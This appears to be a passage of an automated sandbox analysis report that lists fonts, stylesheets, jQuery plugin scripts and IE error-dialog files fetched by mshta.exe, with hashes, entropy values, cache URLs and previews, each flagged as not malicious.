File Type:	Embedded OpenType (EOT), Lato Black family
Category:	downloaded
Size (bytes):	25451
Entropy (8bit):	7.969770648296379
Encrypted:	false
SSDEEP:	768:HoV31fm0ipzey9jR/tzFC+THGz4x8SJG2Xeog:HoVFuNP/3CdSLOt
MD5:	0AD19DEC4DE4F225CBF95946B07F03F0
SHA1:	4ED5339BEAA5683AEAE65BB1E4B48A877EDDBB65
SHA-256:	9D42496620626D2D3AC3022B36A1671BEE2F23B86A147440C92316380FB30BBD
SHA-512:	22A7EC99DD4068291486B54832B895BD0766E5710DC0622FBF0A2FA3A2EB98EF12AB1B37210CAD603DF4709719E051D91F1ACCE17B9DC20E72C410AAE3A7D346
Malicious:	false
IE Cache URL:	http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh50XSwiPHQ.eot
Preview:	kc..mb............................LP'...J.............. .....7.n....................L.a.t.o. .B.l.a.c.k.....R.e.g.u.l.a.r...P.V.e.r.s.i.o.n. .1...1.0.4.;. .W.e.s.t.e.r.n.+.P.o.l.i.s.h. .o.p.e.n.s.o.u.r.c.e.....L.a.t.o. .B.l.a.c.k.....BSGP.....................A^.G>.3........ZB....D...X,S..O...G.cu.b.>Nj....l.\t.bcA.85..N.~.X...l..%HL...a.EY.I.....zF........m.V..O.....x#E...:..T[q;Q....}.@`>..... cu)...4Y.9/.....:.._....d....-.9....NSe...NF.Q.5.(<,..C..F...>..~..p...t.....2.\|5..p.c_.(B...H..%........Ma.3Y..4$o...l .....@6...6.].]....... ......4@..t.B!.2.-.O...&.y.v.....4J@.E...TDCr..)..U..V..%.%.5.....7E.m_x"..<T...Il..O.%Q...x.5......]..fB.< .H..0h`......y..\.y.Q..&...O.........vs......t...\|.GS0...H.:..].t.u......9..LBfb&&..A..L},..P.cOy...B.O%..H..UX<X=X>PCPk...H.Q..!T".A..4/\b..7..!...........W.\|E...n...w0v....j;.....?<..w.Q.r.$$x......oy..O9...^...g@..r....9....vCr..v....m....MPOo..,"..(.E.f...?..d.M..hT.P.u..`d8_#....&.}...\|k...>e...*;>1.O.$.P{..ao.

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\S6u9w4BMUTPHh6UVSwiPHQ[1].eot

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	Embedded OpenType (EOT), Lato family
Category:	downloaded
Size (bytes):	26118
Entropy (8bit):	7.970184406626934
Encrypted:	false
SSDEEP:	768:Il7bajNBleEzCTFhEctniWorQDzlIgJg4Qf06Fzq1qZ:IsjNe2SjtLor6lTcf0yzIqZ
MD5:	57425A0BD70ABEC6F5FD38D3B2507E89
SHA1:	6F7576213E3FCC093C38C96DB22EC701A1E6EAAA
SHA-256:	AB98070851F53310219E56128C117B5BA13BC63B822637B1B1103277C1E3010C
SHA-512:	6AC3F2676A83839DCEE79D501ABDE1FF4F04D818654489A949172800406E5F9034085C861BB4EB734F92478F870C795640C32D087FBCD3F9E25984B30E3A6FE4
Malicious:	false
IE Cache URL:	http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh6UVSwiPHQ.eot
Preview:	.f...e............................LP'...J.............. ....Z.i.....................L.a.t.o.....B.o.l.d...P.V.e.r.s.i.o.n. .1...1.0.4.;. .W.e.s.t.e.r.n.+.P.o.l.i.s.h. .o.p.e.n.s.o.u.r.c.e.....L.a.t.o. .B.o.l.d.....BSGP.....................C..I..4........ZB....D...X,S..O.......l.i...@.`..#....OjOz.....@....Y%hC..9......A..h...0..uH....n-)5.u[....W.u.....EE..j5.0.g......j'[.~.2Nv..le.'V.o.r........P}....c.....J.J.......j.2...>...(.J.:g..W..Q..X...f..).>........./(.%.7(.".......f1.....v9......O4...@..].Kv..'.>......&H.c...0>..9#...}....I+#W....".%p&.Yr.I5.............S..,$...&m.&1. ..!..U..^Y.0413l.9 .Q.........{Csw....f....X.P'.....R216...=E.g.7..T..5..m.>c....C.O.}C.X.../y\.$ ......4.......u.R......R.+..G.S.I.I..D&....b....+.o....[@.#n.4.<.D....$a....y.+....A.K.rF.....`.\.Z.AQG.@mD.......'\|.........80...c..a..5.{..Y8......9.q".!.....R<v...g3....B.T.]>.....#...x...0..<..D.._.=...t.:8....G]..;L...\q.F.C..f._.@..9g..kp...:N.HB..B..}.%..R..T%[.$z

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\S6u9w4BMUTPHh7USSwiPHQ[1].eot

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	Embedded OpenType (EOT), Lato Light family
Category:	downloaded
Size (bytes):	24456
Entropy (8bit):	7.962811770770542
Encrypted:	false
SSDEEP:	384:rD2u7JY1e7uWKgCWOv1x21IA3qjRD7yKbev6YyNPpEaQsclWZaXVCqDoH9Hjl9uL:NuW3vOv1sk1DWKC6YyeH9FVCVHJYpTIc
MD5:	D07A3DF5EB89A8BBEA764021336FC851
SHA1:	4168D287AB866CC21F47FC5DCF62B6871DFB210D
SHA-256:	79AD628A22C9AA1A8D30C9F5920D7F432F51804B9750BFE907C3A10D46CDB445
SHA-512:	BA7378D7DBA3C8BBAD610BAAE431339D121B0FE4B2876A1A1E87D9837053F6AC006490B959798B304BA6A96893D0250510FB077D556D2BCA056EE81A2A8970EB
Malicious:	false
IE Cache URL:	http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh7USSwiPHQ.eot
Preview:	._...^......................,.....LP'...J.............. ......N.....................L.a.t.o. .L.i.g.h.t.....R.e.g.u.l.a.r...P.V.e.r.s.i.o.n. .1...1.0.4.;. .W.e.s.t.e.r.n.+.P.o.l.i.s.h. .o.p.e.n.s.o.u.r.c.e.....L.a.t.o.-.L.i.g.h.t.....BSGP...................?.@..A..2~....`.W.hKr{z~"U:b,/.ezS..........-A.RC...x....E.57z.....%)..nE.'.....`!a.........,~.[A.p2..X.8.\..XO.r..F. N..k..P.[..]ooQ. ...zeX.....q....%4...nR....z.f.L.~6C.c...!..~Wi..V....z....h.......Z.*...&..MOx.N...6....twP,y3....;.b...I..mR.8..........f....9Z$..^....._..'...K..P%.Qz:..A..].....U..l.Z.ci}0.\|. ."'`.<............0x..i..h...Ra.....h.V.v..../C"M..DH. .>.D..J.....U.....c....)"....X..$..0o..?#..a.ep..f..#L.f..F[B.R...!.n..l.4..y..<...1..}..4....F..v.y7..9...<.A.=..>..n3#.`}@j...D.b.....U.r........."....8.9.I......L...t.4....f.&...;D.....u0W.U..^Cy..>..Q..#.OQ[Xn..6...?U.FY....m...)K.AE.(8."...j...^...B....kc]....b.'..;A..v........U.9%.........r.....h..k..K..G..)..^..OwV>!=.w.H....`.v+(

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\S6uyw4BMUTPHjx4wWg[1].eot

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	Embedded OpenType (EOT), Lato family
Category:	downloaded
Size (bytes):	26669
Entropy (8bit):	7.969873501177376
Encrypted:	false
SSDEEP:	384:3o0KhHhcVoBbXSW9jDQfwYejcrqTGOBnhwHAVKnn5DwVGUDucy6RormfvtZk+:YP2Ob/DowqrMnhwHZntuHRy62rmf8+
MD5:	F0AA40EA96D1920A1A96329B4A35EDED
SHA1:	31E6A2EAF78903F0487F2DB6319D7A8E5186C218
SHA-256:	E745A8D2C87907FEE0267896B226BCAD1A2634A8C6826BC284F06875B14F0E60
SHA-512:	B22522660F8C966675003E592DE0A7338BB08E68456BBDF661FFAEC3CB9B33D71C63C870C30A0177A32AA2E1EF5014DF27F57D67AB21690D36FB0FF360722680
Malicious:	false
IE Cache URL:	http://fonts.gstatic.com/s/lato/v23/S6uyw4BMUTPHjx4wWg.eot
Preview:	-h..7g............................LP'...J.............. ......>.....................L.a.t.o.....R.e.g.u.l.a.r...P.V.e.r.s.i.o.n. .1...1.0.4.;. .W.e.s.t.e.r.n.+.P.o.l.i.s.h. .o.p.e.n.s.o.u.r.c.e.....L.a.t.o. .R.e.g.u.l.a.r.....BSGP.....................B..H..3........ZB....D...X,S..O...G.cu.b.>Nj....l.\t.bcA.85..N.~.X...d..%HL...a.EY.I....QL...,.#0...m.V.E)...L7.E)......T[t;T.... 0.\y.b{l.d..Jplc.,.......9...K..}.Q..\|..W...3.q..rt..G#W....q....&.V_.bh.ql..z[.>....,. ......1.AfE.....q.2.e...d.....+o>....)..1f..2.~.\|.../.."..k0.).......Bzj"&~.J..pF1V3......Q..&R..H...O`..Z.n.a.h@.e.Z.,<Ex./......%..#C....##...&. ..ub...{..x.h.TA.....0OA:.8....E...}...H...ZN.f...s..g&..~y.Q;9......;.X..S...x..g..I.O.JX.k............!...h_...........Q. .\L.^.f.n.t.\|.Y..j)..G..{.....`.V..ZM.b.+.v-..X.XMQ......A.../..C....N......4Xi..a..e...v..?......=..4O......Og.S`.W.&..w.>...>.....Hu.......5....."...........r.._..M:.k...q..O9....Fy.2.1...y)..[.F4.d~.........0./...^L

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\bootstrap[1].css

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	107397
Entropy (8bit):	5.243343101333427
Encrypted:	false
SSDEEP:	768:+coRowFmqeuii6OZLzAX+cSXgx7fLLgkhB5aErf:JoZ5vLPXgx7ngkjd
MD5:	FE45C97743C9CAEC6809D9F740D52D3E
SHA1:	CB69497E1935DE69862E92400478B75CD13E23BD
SHA-256:	55225FFA7E115D65C7E0F7A602A59CF5EE1D2F3C873F88381375A550B1B6B548
SHA-512:	9D36A695AD9DF51C63E820184DBD320D4B05700598F7CAC344C182F3D340FF20027C877BFA6F0FAE6EF717F236A6B5E4BF22286787B337D0F0B47F2BDD79693B
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/bootstrap.css
Preview:	article, aside, details, figcaption, figure, footer, header, hgroup, nav, section { display:block; }.audio, canvas, video {..display:inline-block;..display:inline;..zoom:1;.}.audio:not([controls]) { display:none; }.html {..font-size:100%;..-webkit-text-size-adjust:100%;..-ms-text-size-adjust:100%;.}.a:focus {..outline:thin dotted #333;..outline:5px auto -webkit-focus-ring-color;..outline-offset:-2px;.}.a:hover, a:active { outline:0; }.sub, sup {..position:relative;..font-size:75%;..line-height:0;..vertical-align:baseline;.}.sup { top:-0.5em; }.sub { bottom:-0.25em; }.img {..max-width:100%;..width:auto \9;..height:auto;..vertical-align:middle;..border:0;..-ms-interpolation-mode:bicubic;.}.#map_canvas img, .google-maps img { max-width:none; }.button, input, select, textarea {..margin:0;..font-size:100%;..vertical-align:middle;.}.button, input {..*overflow:visible;..line-height:normal;.}.button::-moz-focus-inner, input::-moz-focus-inner {..padding:0;..border:0;.}.button, html input[type

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\cherry-plugin[1].js

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1789
Entropy (8bit):	5.215043597951395
Encrypted:	false
SSDEEP:	48:kMcpLsRsdpOIi0hwrtpsDrzdVv6I8ixCYk4f440T8BuP9n:e/+0AOrzdVvQqXwNp9n
MD5:	E7694C9876A74D8AF4840B08D8CC4364
SHA1:	3A301C6DFB6B691B0453CEB4A1065BD7C2A5BD8A
SHA-256:	9E806234DF297746D665A8E76B129BF708E4470D7A50FEF5905D306176BEA1C1
SHA-512:	12F2867F5D91CCD42F3893884BB5BDD1F25AE7024B7CEED9CBF108498EFA374B186C38209A6A0468A88D8A12C1F758E25FE5A081B76588A0BAED4B3A26EDEF51
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1
Preview:	jQuery(document).ready(function(){..// OWL Carousel init...cherryPluginCarouselInit();...// Full-width block with left-right paddings...jQuery('.content_box.full-width').wrapInner('<div class="full-block-wrap"></div>');..jQuery(window).resize( function(){...contenBoxResizeFunction();..});...contenBoxResizeFunction();..function contenBoxResizeFunction(){...var width_of_viewport = jQuery(window).width(),....half_width_of_viewport = width_of_viewport / 2,....width_of_container = jQuery('.content-holder > .container').width();....jQuery('.content_box.full-width').width(width_of_container);...jQuery('.content_box.full-width').css({'padding-left': half_width_of_viewport+'px', 'padding-right': half_width_of_viewport+'px', 'margin-left': '-'+half_width_of_viewport+'px'});...jQuery('.full-block-wrap').width(width_of_container);..}.});..function cherryPluginCarouselInit() {..jQuery('div[id^="owl-carousel-"]').each(function(){...var carousel = jQuery(this),....auto_play = parseInt(carousel.attr('

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\css[1].css

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	152
Entropy (8bit):	5.082226381168297
Encrypted:	false
SSDEEP:	3:0SYWFFWlIYCZZ5RI5XwDKLRIHDfFRWdFTfqzNsqcdjKIUtB40KHYvn:0IFFN+56ZRWHTizNspdPUtBNv
MD5:	2BC56AB743AAE5AAC9AAC55D0850AAC5
SHA1:	BFB989317C6BAAE1BAD28B90D9535B19BE847827
SHA-256:	5EC882B2726B2C1D1DA1717E2AC16FB43C0C9F34FEA5392B8DE090A47BEF197A
SHA-512:	FD901DB8F9B5ED13E5EFC55A750A364D47066509D7415544916AC7A9B3DFFC2A95A7CC3A45811C1A51746A0160A6D5F894CB06D51B0F234A558EFD9290A31F1A
Malicious:	false
IE Cache URL:	http://fonts.googleapis.com/css?family=Lato&subset=latin
Preview:	@font-face {. font-family: 'Lato';. font-style: normal;. font-weight: 400;. src: url(http://fonts.gstatic.com/s/lato/v23/S6uyw4BMUTPHjx4wWg.eot);.}.

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\device.min[1].js

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	2778
Entropy (8bit):	4.92970371310333
Encrypted:	false
SSDEEP:	48:xLnN+tyKOxwaPYuxwFAmKldNzr1JhxPE63haDJ77LMeHrc76cCgP:hTPCoEt6
MD5:	CCD1C11A6BA5DF0CBFC470B04A3739F4
SHA1:	A8864D81DE7689672EF8F916E430AAABF563C22D
SHA-256:	A6BA246C6B7B60AFFBB369C8884D172DD3E4702A594F09BBA678A7773A25E411
SHA-512:	31F7B74A31E796534D0F51BD9BC9004BDD30EE896D987300A220DADAA526753C9C6D00081F4E9D18EA2BF875C776D6ED55CBA62404B22534BCD45A277EC45A79
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0
Preview:	/! device.js 0.1.58 /.(function(){var a,b,c,d,e,f,g,h,i,j;a=window.device,window.device={},c=window.document.documentElement,j=window.navigator.userAgent.toLowerCase(),device.ios=function(){return device.iphone()\|\|device.ipod()\|\|device.ipad()},device.iphone=function(){return d("iphone")},device.ipod=function(){return d("ipod")},device.ipad=function(){return d("ipad")},device.android=function(){return d("android")},device.androidPhone=function(){return device.android()&&d("mobile")},device.androidTablet=function(){return device.android()&&!d("mobile")},device.blackberry=function(){return d("blackberry")\|\|d("bb10")\|\|d("rim")},device.blackberryPhone=function(){return device.blackberry()&&!d("tablet")},device.blackberryTablet=function(){return device.blackberry()&&d("tablet")},device.windows=function(){return d("windows")},device.windowsPhone=function(){return device.windows()&&d("phone")},device.windowsTablet=function(){return device.windows()&&d("touch")},device.fxos=function(){return(

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\error[1]

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	HTML document, UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	downloaded
Size (bytes):	3247
Entropy (8bit):	5.459946526910292
Encrypted:	false
SSDEEP:	96:vKFlZ/kxjqD9zqp36wxVJddFAdd5Ydddopdyddv+dd865FhlleXckVDuca:C0pv+GkduSDl6LRa
MD5:	16AA7C3BEBF9C1B84C9EE07666E3207F
SHA1:	BF0AFA2F8066EB7EE98216D70A160A6B58EC4AA1
SHA-256:	7990E703AE060C241EBA6257D963AF2ECF9C6F3FBDB57264C1D48DDA8171E754
SHA-512:	245559F757BAB9F3D63FB664AB8F2D51B9369E2B671CF785A6C9FB4723F014F5EC0D60F1F8555D870855CF9EB49F3951D98C62CBDF9E0DC1D28544966D4E70F1
Malicious:	false
IE Cache URL:	res://ieframe.dll/error.dlg
Preview:	...<HTML id=dlgError STYLE="font-family: ms sans serif; font-size: 8pt;..width: 41.4em; height: 24em">..<HEAD>..<meta http-equiv="Content-Type" content="text/html; charset=utf-8">..<META HTTP-EQUIV="MSThemeCompatible" CONTENT="Yes">..<TITLE id=dialogTitle>..Script Error..</TITLE>..<SCRIPT>..var L_Dialog_ErrorMessage = "An error has occurred in this dialog.";..var L_ErrorNumber_Text = "Error: ";..var L_ContinueScript_Message = "Do you want to debug the current page?";..var L_AffirmativeKeyCodeLowerCase_Number = 121;..var L_AffirmativeKeyCodeUpperCase_Number = 89;..var L_NegativeKeyCodeLowerCase_Number = 110;..var L_NegativeKeyCodeUpperCase_Number = 78;..</SCRIPT>..<SCRIPT LANGUAGE="JavaScript" src="error.js" defer></SCRIPT>..</HEAD>..<BODY ID=bdy onLoad="loadBdy()" style="font-family: 'ms sans serif';..font-size: 8pt; background: threedface; color: windowtext;" topmargin=0>..<CENTER id=ctrErrorMessage>..<table id=tbl1 cellPadding=3 cellspacing=3 border=0..style="background: buttonface

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\error[2]

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	downloaded
Size (bytes):	1706
Entropy (8bit):	5.274543201400288
Encrypted:	false
SSDEEP:	48:NIAbzyYh8rRLkRVNaktqavP61GJZoF+SMy:xWqxztqaHO
MD5:	B9BEC45642FF7A2588DC6CB4131EA833
SHA1:	4D150A53276C9B72457AE35320187A3C45F2F021
SHA-256:	B0ABE318200DCDE42E2125DF1F0239AE1EFA648C742DBF9A5B0D3397B903C21D
SHA-512:	C119F5625F1FC2BCDB20EE87E51FC73B31F130094947AC728636451C46DCED7B30954A059B24FEF99E1DB434581FD9E830ABCEB30D013404AAC4A7BB1186AD3A
Malicious:	false
IE Cache URL:	res://ieframe.dll/error.js
Preview:	...window.onerror = HandleError..function HandleError(message, url, line)..{..var str = L_Dialog_ErrorMessage + "\n\n"..+ L_ErrorNumber_Text + line + "\n"..+ message;..alert (str);..window.close();..return true;..}..function loadBdy()..{..var objOptions = window.dialogArguments;..btnNo.onclick = new Function("btnOKClick()");..btnNo.onkeydown = new Function("SwitchFocus()");..btnYes.onclick = new Function("btnYesClick()");..btnYes.onkeydown = new Function("SwitchFocus()");..document.onkeypress = new Function("docKeypress()");..spnLine.innerText = objOptions.getAttribute("errorLine");..spnCharacter.innerText = objOptions.getAttribute("errorCharacter");..spnError.innerText = objOptions.getAttribute("errorMessage");..spnCode.innerText = objOptions.getAttribute("errorCode");..txaURL.innerText = objOptions.getAttribute("errorUrl");..if (objOptions.errorDebug)..{..divDebug.innerText = L_ContinueScript_Message;..}..btnYes.focus();..}..function SwitchFocus()..{..var HTML_KEY_ARROWLEFT = 37;..

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\error[3]

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1706
Entropy (8bit):	5.274543201400288
Encrypted:	false
SSDEEP:	48:NIAbzyYh8rRLkRVNaktqavP61GJZoF+SMy:xWqxztqaHO
MD5:	B9BEC45642FF7A2588DC6CB4131EA833
SHA1:	4D150A53276C9B72457AE35320187A3C45F2F021
SHA-256:	B0ABE318200DCDE42E2125DF1F0239AE1EFA648C742DBF9A5B0D3397B903C21D
SHA-512:	C119F5625F1FC2BCDB20EE87E51FC73B31F130094947AC728636451C46DCED7B30954A059B24FEF99E1DB434581FD9E830ABCEB30D013404AAC4A7BB1186AD3A
Malicious:	false
Preview:	...window.onerror = HandleError..function HandleError(message, url, line)..{..var str = L_Dialog_ErrorMessage + "\n\n"..+ L_ErrorNumber_Text + line + "\n"..+ message;..alert (str);..window.close();..return true;..}..function loadBdy()..{..var objOptions = window.dialogArguments;..btnNo.onclick = new Function("btnOKClick()");..btnNo.onkeydown = new Function("SwitchFocus()");..btnYes.onclick = new Function("btnYesClick()");..btnYes.onkeydown = new Function("SwitchFocus()");..document.onkeypress = new Function("docKeypress()");..spnLine.innerText = objOptions.getAttribute("errorLine");..spnCharacter.innerText = objOptions.getAttribute("errorCharacter");..spnError.innerText = objOptions.getAttribute("errorMessage");..spnCode.innerText = objOptions.getAttribute("errorCode");..txaURL.innerText = objOptions.getAttribute("errorUrl");..if (objOptions.errorDebug)..{..divDebug.innerText = L_ContinueScript_Message;..}..btnYes.focus();..}..function SwitchFocus()..{..var HTML_KEY_ARROWLEFT = 37;..

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\font-awesome[1].css

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	27231
Entropy (8bit):	4.969538355156986
Encrypted:	false
SSDEEP:	384:V4CBhTJwxFGFepFFVofu2NF2advHrGlmBpa/pe:zBEFGFepFvoGOkadvHz3Ke
MD5:	2D53B06F292DCB355B5E1A39EC065054
SHA1:	57CA25A18CBDEDF36973B712BC81F9E3F883A371
SHA-256:	22A22E76F4DE930E54DD33AF00C71B68828847409E5E79787DF5224DD9776C6F
SHA-512:	83C4394957069679994F7C04B1643AF895733E3469B539F9D202934FA5F808D31CB42EDF92029F23E849DEDD45EC50BB90D0009C3FA4450E8E50AB9C832313DA
Malicious:	false
IE Cache URL:	http://netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
Preview:	/!. Font Awesome 3.2.1. * the iconic font designed for Bootstrap. * ------------------------------------------------------------------------------. * The full suite of pictographic icons, examples, and documentation can be. * found at http://fontawesome.io. Stay up to date on Twitter at. * http://twitter.com/fontawesome.. . License. * ------------------------------------------------------------------------------. * - The Font Awesome font is licensed under SIL OFL 1.1 -. * http://scripts.sil.org/OFL. * - Font Awesome CSS, LESS, and SASS files are licensed under MIT License -. * http://opensource.org/licenses/mit-license.html. * - Font Awesome documentation licensed under CC BY 3.0 -. * http://creativecommons.org/licenses/by/3.0/. * - Attribution is no longer required in Font Awesome 3.0, but much appreciated:. * "Font Awesome by Dave Gandy - http://fontawesome.io". . Author - Dave Gandy. * -------------------------------------------------------------

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\jquery.flexslider-min[1].js

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	21638
Entropy (8bit):	5.19976778726859
Encrypted:	false
SSDEEP:	384:6zEjb38fdvqEqHLOB7/Y1zicwyWda6lo7iMrpLtwSO2BAw1EFO:6838fdvqEqCBk1zzWda6loeMdLt9O5bA
MD5:	9EC3C315B67F434AABC4DA58EABC6C3A
SHA1:	51B3A7D882F438D53DC69CA5289E92254160C09A
SHA-256:	0C853C2CC205BAFE5D893017B6A03A2ACF0F04A11B85F80605514CF0AE540FE6
SHA-512:	75317411016A28DFF4E7A1D68F7B604B7B08E0BE90038C3039493123FE2A89EBBFC084E1E15C029CBADCB64EFAD2A122307957D8BA51E17EF42FFF35A8A3922C
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/FlexSlider/jquery.flexslider-min.js?ver=2.2.2
Preview:	/. jQuery FlexSlider v2.2.2. * Copyright 2012 WooThemes. * Contributing Author: Tyler Smith. */.!function(a){a.flexslider=function(b,c){var d=a(b);d.vars=a.extend({},a.flexslider.defaults,c);var j,e=d.vars.namespace,f=window.navigator&&window.navigator.msPointerEnabled&&window.MSGesture,g=("ontouchstart"in window\|\|f\|\|window.DocumentTouch&&document instanceof DocumentTouch)&&d.vars.touch,h="click touchend MSPointerUp",i="",k="vertical"===d.vars.direction,l=d.vars.reverse,m=d.vars.itemWidth>0,n="fade"===d.vars.animation,o=""!==d.vars.asNavFor,p={},q=!0;a.data(b,"flexslider",d),p={init:function(){d.animating=!1,d.currentSlide=parseInt(d.vars.startAt?d.vars.startAt:0,10),isNaN(d.currentSlide)&&(d.currentSlide=0),d.animatingTo=d.currentSlide,d.atEnd=0===d.currentSlide\|\|d.currentSlide===d.last,d.containerSelector=d.vars.selector.substr(0,d.vars.selector.search(" ")),d.slides=a(d.vars.selector,d),d.container=a(d.containerSelector,d),d.count=d.slides.length,d.syncExists=a(d.vars.sync).lengt

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\jquery.mousewheel.min[1].js

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	1392
Entropy (8bit):	5.304639490555412
Encrypted:	false
SSDEEP:	24:JNFww5yF1TY6APXYBfQJbHLcIYADqfIO0hz7aUIONhM7v9O9BK8:JbCsPXYBfQuIIkhzGUdhMLYLK8
MD5:	25DB04E9DAEE1C00F6CA337537C32C01
SHA1:	CC1D92C5536C9B2DD766B6EDDC0C8BA8CF831438
SHA-256:	C8104390115F92B27003B1E4E503EF59343CCFEF4AC19751093544E8CFAEAE26
SHA-512:	F5BCA70968AB8D030218485A4417E2AF39621F7E7DF150C9BCA84281801CA5A43B55759844D677626A5FF53BAD4C049C995E0DB72CB4B549766628718DE9E518
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6
Preview:	/! Copyright (c) 2011 Brandon Aaron (http://brandonaaron.net). Licensed under the MIT License (LICENSE.txt).. . Thanks to: http://adomas.org/javascript-mouse-wheel/ for some pointers.. * Thanks to: Mathias Bank(http://www.mathias-bank.de) for a scope bug fix.. * Thanks to: Seamus Leahy for adding deltaX and deltaY. . Version: 3.0.6. * . * Requires: 1.2.2+. /.(function(a){function d(b){var c=b\|\|window.event,d=[].slice.call(arguments,1),e=0,f=!0,g=0,h=0;return b=a.event.fix(c),b.type="mousewheel",c.wheelDelta&&(e=c.wheelDelta/120),c.detail&&(e=-c.detail/3),h=e,c.axis!==undefined&&c.axis===c.HORIZONTAL_AXIS&&(h=0,g=-1e),c.wheelDeltaY!==undefined&&(h=c.wheelDeltaY/120),c.wheelDeltaX!==undefined&&(g=-1*c.wheelDeltaX/120),d.unshift(b,e,g,h),(a.event.dispatch\|\|a.event.handle).apply(this,d)}var b=["DOMMouseScroll","mousewheel"];if(a.event.fixHooks)for(var c=b.length;c;)a.event.fixHooks[b[--c]]=a.event.mouseHooks;a.event.special.mousewheel={setup:function(){if(this.addEventListener)f

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\logo-slider-wp-public[1].css

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	5372
Entropy (8bit):	4.984476165106454
Encrypted:	false
SSDEEP:	96:AJKII0S0eTHhUELNZQety9Q2dJie/JTwJTG/JiGS61iL0:iQQBSw
MD5:	3A2087F6BBC2271D1A7484512C92A4BB
SHA1:	B15329AD5E236432E2B7972242E3DDC0E93BE73A
SHA-256:	D836BDB6405A34D357393B88B95298C535A088D8DF6F84805B8290182CD7EF13
SHA-512:	9FCDEBC1712A9666A9CC7DD7BB505B6B4369224653C542854FECEBD073C83A9C228F80A9D5A3B61BE9836DFFF2692DBEF9DE949542CEF6251ED74E2589374612
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/css/logo-slider-wp-public.css?ver=1.0.0
Preview:	/*. All of the CSS for your public-facing functionality should be. * included in this file.. /..lgx-logo-slider-wp .owl-stage {. display: flex;. align-items: center;.}...lgx-logo-slider-wp .lgx-logo-wrapper {. padding: 25px 0;.}..lgx-logo-slider-wp .lgx-logo-wrapper .lgx-logo-carousel .owl-nav {. text-align: center;.}..lgx-logo-slider-wp .lgx-logo-wrapper .lgx-logo-carousel .owl-nav .owl-next,..lgx-logo-slider-wp .lgx-logo-wrapper .lgx-logo-carousel .owl-nav .owl-prev {. margin: 1px;.}..lgx-logo-slider-wp .lgx-logo-wrapper .lgx-logo-carousel .owl-nav [class=owl-] {. background: transparent;.}..lgx-logo-slider-wp .lgx-logo-wrapper .lgx-logo-carousel .owl-next img,..lgx-logo-slider-wp .lgx-logo-wrapper .lgx-logo-carousel .owl-prev img {. width: 30px;.}..lgx-logo-slider-wp .wp-logo-border .lgx-logo-item {. border-style: solid;. border-width: 2px;.}..lgx-logo-slider-wp .lgx-logo-item {. cursor: pointer;. text-align: center;.}..lgx-logo-slider-wp .lgx-logo-item .logo-com

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\main-style[1].css

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	70411
Entropy (8bit):	5.127502328619063
Encrypted:	false
SSDEEP:	384:djgWEVPPo2Oe+fAwE+ZLBdOK1yPRFH1gXnSGPEIQS1hEZNx2+:XrOK1yPRAXpbENx/
MD5:	8C58B6C64504AEC029A5EB64FDA110C7
